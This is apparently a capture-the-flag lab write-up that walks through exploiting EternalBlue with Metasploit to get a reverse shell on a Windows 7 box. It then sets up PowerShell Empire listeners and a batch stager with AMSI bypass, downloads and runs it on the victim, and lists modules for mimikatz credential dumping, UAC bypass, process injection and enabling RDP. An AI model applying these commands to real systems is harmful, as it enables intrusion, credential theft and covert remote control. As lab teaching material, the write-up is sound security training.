Part of the Red Primer series, learn how to use this powerful post-exploitation framework.
[Task 1] Deploy!
Deploy this machine and discover what exploit this machine is vulnerable to. (Hint hint, this notice the VM name. I recommend completing the room ‘Blue’ prior to this room for this purpose alone.)
Enjoy the room! For future rooms and write-ups, follow @darkstar7471 on Twitter.
Deploy this machine and learn what exploitation this box is susceptible to!
A basic port scan reveals a Windows 7 machine with several common ports open, one of which being 445:
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 3389/tcp open ssl/ms-wbt-server? |_ssl-date: 2020-07-29T12:26:03+00:00; +1s from scanner time. 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49160/tcp open msrpc Microsoft Windows RPC 49161/tcp open msrpc Microsoft Windows RPC Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 1h15m00s, deviation: 2h30m00s, median: 0s |_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:70:eb:ce:02:dc (unknown) | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: Jon-PC | NetBIOS computer name: JON-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2020-07-29T07:25:57-05:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-07-29T12:25:57 |_ start_date: 2020-07-29T12:23:30
The machine is vulnerable to the Eternal Blue vulnerability (CVE-2017-0143)
$ nmap -p 445 --script smb-vuln-ms17-010 10.10.63.14 Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-29 14:40 CEST Nmap scan report for 10.10.63.14 Host is up (0.072s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010). | | Disclosure date: 2017-03-14 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143 | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx |_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
Exploit the vulnerability to spawn a reverse shell!
Let’s fire up msfconsole and exploit this vulnerability:
$ msfconsole -q msf5 > use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.63.14 rhost => 10.10.63.14 msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 10.9.0.54:4444 [*] 10.10.63.14:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check [+] 10.10.63.14:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) [*] 10.10.63.14:445 - Scanned 1 of 1 hosts (100% complete) [*] 10.10.63.14:445 - Connecting to target for exploitation. [+] 10.10.63.14:445 - Connection established for exploitation. [+] 10.10.63.14:445 - Target OS selected valid for OS indicated by SMB reply [*] 10.10.63.14:445 - CORE raw buffer dump (42 bytes) [*] 10.10.63.14:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes [*] 10.10.63.14:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv [*] 10.10.63.14:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1 [+] 10.10.63.14:445 - Target arch selected valid for arch indicated by DCE/RPC reply [*] 10.10.63.14:445 - Trying exploit with 12 Groom Allocations. [*] 10.10.63.14:445 - Sending all but last fragment of exploit packet [*] 10.10.63.14:445 - Starting non-paged pool grooming [+] 10.10.63.14:445 - Sending SMBv2 buffers [+] 10.10.63.14:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer. [*] 10.10.63.14:445 - Sending final SMBv2 buffers. [*] 10.10.63.14:445 - Sending last fragment of exploit packet! [*] 10.10.63.14:445 - Receiving response from exploit packet [+] 10.10.63.14:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] 10.10.63.14:445 - Sending egg to corrupted connection. [*] 10.10.63.14:445 - Triggering free of corrupted buffer. [*] Command shell session 1 opened (10.9.0.54:4444 -> 10.10.63.14:49334) at 2020-07-29 14:48:19 +0200 [+] 10.10.63.14:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.63.14:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= [+] 10.10.63.14:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= C:\Windows\system32>
[Task 2] Install
PowerShell Empire is a powerful post-exploitation framework which allows us to perform various functions such as privesc, password gathering, situational awareness, and many more!
Link to the official website: https://www.bc-security.org/post/the-empire-3-0-strikes-back
Clone the following GitHub page and run the initial setup script: https://github.com/BC-SECURITY/Empire/
# cd /opt # git clone https://github.com/BC-SECURITY/Empire.git # cd /opt/Empire # ./setup/install.sh
When prompted, enter in a server negotiation password. This can be left blank for random generation, however, you should record this somewhere such as a LastPass vault.
Launch Empire with either
[Task 3] Listeners
If you’re going to play ball, first you have to learn how to catch. Similar to ‘catching’ a reverse shell with Netcat, we first have to set up a listener in order to properly handle any sort of agent we would install on our victim machine. Answer the following questions using the listeners help menu and then spawn a basic listener.
Once empire has launched, type help to view the various menus. Which menu to we launch to access listeners?
Launch the listeners menu. In a manner similar to cobalt strike/metasploit, this will launch a contextual submenu. For the sake of this tutorial, we will be using an http listener in order to catch our connections. Type the command ‘uselistener http’ now. You can double-tap tab to view all options for listeners following typing ‘uselistener’
# ./empire (Empire) > listeners [!] No listeners currently active (Empire: listeners) > uselistener http (Empire: listeners/http) >
What command can we now type to view all of the options related to our selected listener type?
Hint: Use the help command to find this new command
(Empire: listeners/http) > info Name: HTTP[S] Category: client_server Authors: @harmj0y Description: Starts a http[s] listener (PowerShell or Python) that uses a GET/POST approach. HTTP[S] Options: Name Required Value Description ---- -------- ------- ----------- Name True http Name for the listener. Host True http://172.16.222.130 Hostname/IP for staging. BindIP True 0.0.0.0 The IP to bind to on the control server. Port True Port for the listener. Launcher True powershell -noP -sta -w 1 -enc Launcher string. StagingKey True 55a84458b227b692ffeac1cc8ec2264b Staging key for initial agent negotiation. DefaultDelay True 5 Agent delay/reach back interval (in seconds). DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0). DefaultLostLimit True 60 Number of missed checkins before exiting DefaultProfile True /admin/get.php,/news.php,/login/ Default communication profile for the agent. process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko CertPath False Certificate path for https listeners. KillDate False Date for the listener to exit (MM/dd/yyyy). WorkingHours False Hours for the agent to operate (09:00-17:00). Headers True Server:Microsoft-IIS/7.5 Headers for the control server. Cookie False RszXYAsGWiZzlQy Custom Cookie Name StagerURI False URI for the stager. Must use /download/. Example: /download/stager.php UserAgent False default User-agent string to use for the staging request (default, none, or other). Proxy False default Proxy to use for request (default, none, or other). ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other). SlackToken False Your SlackBot API token to communicate with your Slack instance. SlackChannel False #general The Slack channel or DM that notifications will be sent to.
Once the information regarding the listener pops up, peruse this for some of the more interesting options we can set in order to disguise our actions more. Which option can we use to set specific times when our listener will be active?
Similar to changing/spoofing what browser you are using on the internet, what option can we set to appear as a different user agent (i.e. chrome, firefox, etc)?
What option can we use to set the port which the listener will bind to?
In addition to changing our browser profile, we can change what our server appears as. What option can we set to change this?
Hint: Depending on the context of the help menu you have up, this option might not show up (this is a rare case though). To provide further context to this question, the server version can effective change your listener to appear as Microsoft IIS or possibly Apache. It’s all about obfuscation in this context.
ServerVersion (notice that the option is now
Headers in the new release)
Launch our newly created listener on port 80 with the command ‘execute’. What message is displayed following successfully launching the listener?
(Empire: listeners/http) > set Host 10.9.0.54 (Empire: listeners/http) > set Port 80 (Empire: listeners/http) > execute [*] Starting listener 'http' * Serving Flask app "http" (lazy loading) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: off [+] Listener successfully started!
Listener successfully started!
We can verify that our listener is now active by typing what command?
Hint: Same command as the one we used to open up the listeners submenu
(Empire: listeners/http) > listeners [*] Active listeners: Name Module Host Delay/Jitter KillDate ---- ------ ---- ------------ -------- http http http://10.9.0.54:80 5/0.0 (Empire: listeners) >
[Task 4] Stagers
Stagers metaphorically and literally set the stage for post-exploitation by retrieving the remaining code and associated information necessary to spawn a full-fledged agent.
First, type the command ‘usestager’ and double-tap tab to view all options we have for stagers. Which option allows us to use a batch file?
(Empire: listeners) > usestager multi/bash osx/applescript osx/launcher osx/shellcode windows/dll windows/launcher_sct windows/shellcode multi/launcher osx/application osx/macho osx/teensy windows/ducky windows/launcher_vbs windows/teensy multi/macro osx/ducky osx/macro windows/backdoorLnkMacro windows/hta windows/launcher_xml windows/wmic multi/pyinstaller osx/dylib osx/pkg windows/bunny windows/launcher_bat windows/macro multi/war osx/jar osx/safari_launcher windows/csharp_exe windows/launcher_lnk windows/macroless_msword (Empire: listeners) > usestager
Let’s finish our previous command and select the batch file option. Press enter to finalize this. What is our new path to the ‘module’ we have selected?
Hint: Empire: ???? is part of our new prompt following selecting this module
(Empire: listeners) > usestager windows/launcher_bat (Empire: stager/windows/launcher_bat) >
Since we’ve previously set our listener to use http, we must now set the associated options within our stager we are building to match that. What option must we set in order to accomplish this?
Hint: Use the info command to view our options which we may set
(Empire: stager/windows/launcher_bat) > info Name: BAT Launcher Description: Generates a self-deleting .bat launcher for Empire. Options: Name Required Value Description ---- -------- ------- ----------- Listener True Listener to generate stager for. Language True powershell Language of the stager to generate. StagerRetries False 0 Times for the stager to retry connecting. OutFile False /tmp/launcher.bat File to output .bat launcher to, otherwise displayed on the screen. Delete False True Switch. Delete .bat after running. Obfuscate False False Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only. ObfuscateCommand False Token\All\1 The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only. UserAgent False default User-agent string to use for the staging request (default, none, or other). Proxy False default Proxy to use for request (default, none, or other). ProxyCreds False default Proxy credentials ([domain\]username:password) to use for request (default, none, or other). AMSIBypass False True Include mattifestation's AMSI Bypass in the stager code. AMSIBypass2 False False Include Tal Liberman's AMSI Bypass in the stager code.
Type execute to finish creating our stager. Where is the stager saved?
(Empire: stager/windows/launcher_bat) > set Listener http (Empire: stager/windows/launcher_bat) > execute [*] Stager output written out to: /tmp/launcher.bat
Using any shell you have previously gained into our victim system transport the stager batch file to the system and execute it. This can be done in numerous ways depending on the stager used, be prepared to be flexible with your transportation methods similarly to how you might handle an msfvenom package.
I first tried to download the
launcher.bat file on the Windows machine via the reverse shell with a powershell command (
powershell -c "Invoke-WebRequest 'http://10.9.0.54:8000/launcher.bat' -OutFile 'C:\windows\temp\launcher.bat'") but it failed. I decided to upgrade my reverse shell to a meterpreter (
session -u 1) to directly upload the file, which worked perfectly.
meterpreter > upload /tmp/launcher.bat c:/windows/temp/launcher.bat [*] uploading : /tmp/launcher.bat -> c:/windows/temp/launcher.bat [*] Uploaded 5.01 KiB of 5.01 KiB (100.0%): /tmp/launcher.bat -> c:/windows/temp/launcher.bat [*] uploaded : /tmp/launcher.bat -> c:/windows/temp/launcher.bat meterpreter > execute -f launcher.bat Process 1772 created.
[Task 5] Agents and Post-Exploitation
Interact with our ses.. er agents and do neat things.
First, type agents to view our registered agents.
(Empire: agents) > agents [*] Active agents: Name La Internal IP Machine Name Username Process PID Delay Last Seen Listener ---- -- ----------- ------------ -------- ------- --- ----- --------- ---------------- BW41RVG5 ps 10.10.63.14 JON-PC *WORKGROUP\SYSTEM powershell 1592 5/0.0 2020-07-29 16:42:10 http
Once you’ve typed agents to list the registered agents, the agents submenu will become active. Use the help menu to answer the following questions.
(Empire: agents) > help Commands ======== agents Jump to the agents menu. autorun Read and execute a list of Empire commands from a file and execute on each new agent "autorun <resource file> <agent language>" e.g. "autorun /root/ps.rc powershell". Or clear any autorun setting with "autorun clear" and show current autorun settings with "autorun show" back Go back to the main menu. clear Clear one or more agent's taskings. creds Display/return credentials from the database. exit Exit Empire. help Displays the help menu. interact Interact with a particular agent. kill Task one or more agents to exit. killdate Set the killdate for one or more agents (killdate [agent/all] 01/01/2016). list Lists all active agents (or listeners). listeners Jump to the listeners menu. lostlimit Task one or more agents to 'lostlimit [agent/all] [number of missed callbacks] ' main Go back to the main menu. remove Remove one or more agents from the database. rename Rename a particular agent. resource Read and execute a list of Empire commands from a file. searchmodule Search Empire module names/descriptions. sleep Task one or more agents to 'sleep [agent/all] interval [jitter]' uselistener Use an Empire listener module. usemodule Use an Empire PowerShell module. usestager Use an Empire stager. workinghours Set the workinghours for one or more agents (workinghours [agent/all] 9:00-17:00).
What command do we use to interact with an agent?
What about if we wanted to list any usernames and passwords we have gathered?
And if we wanted to ‘deactivate’ an agent for a while to avoid detection?
How about if we wanted to delete an agent or disconnect it?
Moving into the post exploitation modules, what command can we use to search through these?
We’ll start with the most important module, find the module which plays a specific AC/DC song.
Hint: Song: Thunderstruck
(Empire: agents) > searchmodule AC/DC powershell/trollsploit/thunderstruck Play's a hidden version of AC/DC's Thunderstruck video while maxing out a computer's volume.
python/trollsploit/osx/thunderstruck (to be updated with new version:
What if we wanted to perform an lsa dump with a certain popular windows credential gathering tool?
(Empire: agents) > searchmodule lsadump powershell/credentials/mimikatz/dcsync Runs PowerSploit's Invoke-Mimikatz function to extract a given account password through Mimikatz's lsadump::dcsync module. This doesn't need code execution on a given DC, but needs to be run from a user context with DA equivalent privileges. powershell/credentials/mimikatz/lsadump* Runs PowerSploit's Invoke-Mimikatz function to extract a particular user hash from memory. Useful on domain controllers. powershell/credentials/mimikatz/dcsync_hashdump Runs PowerSploit's Invoke-Mimikatz function to collect all domain hashes using Mimikatz'slsadump::dcsync module. This doesn't need code execution on a given DC, but needs to be run froma user context with DA equivalent privileges.
Sometime we might not have the permissions level that we require to perform further actions, what module set might we have to use to get around UAC?
powershell/privesc/bypassuac Runs a BypassUAC attack to escape from a medium integrity process to a high integrity process. This attack was originally discovered by Leo Davidson. Empire uses components of MSF's bypassuac injection implementation as well as an adapted version of PowerSploit's Invoke-- Shellcode.ps1 script for backend lifting.
What module family allows us to gather additional information about the network we are on?
(Empire: agents) > searchmodule powershell/recon powershell/recon/fetch_brute_local This module will logon to a member server using the agents account or a provided account, fetch the local accounts and perform a network based brute force attack. powershell/recon/find_fruit Searches a network range for potentially vulnerable web services. powershell/recon/get_sql_server_login_default_pw Based on the instance name, test if SQL Server is configured with default passwords. powershell/recon/http_login Tests credentials against Basic Authentication.
Our process we have compromised might not be the most stable, how do we migrate to another process? (This will have a specific module answer)
powershell/management/psinject Utilizes Powershell to to inject a Stephen Fewer formed ReflectivePick which executes PS codefrom memory in a remote process. ProcID or ProcName must be specified.
Last but not least, what module can we use to turn on remote desktop access for our purposes?
powershell/management/enable_rdp* Enables RDP on the remote machine and adds a firewall exception.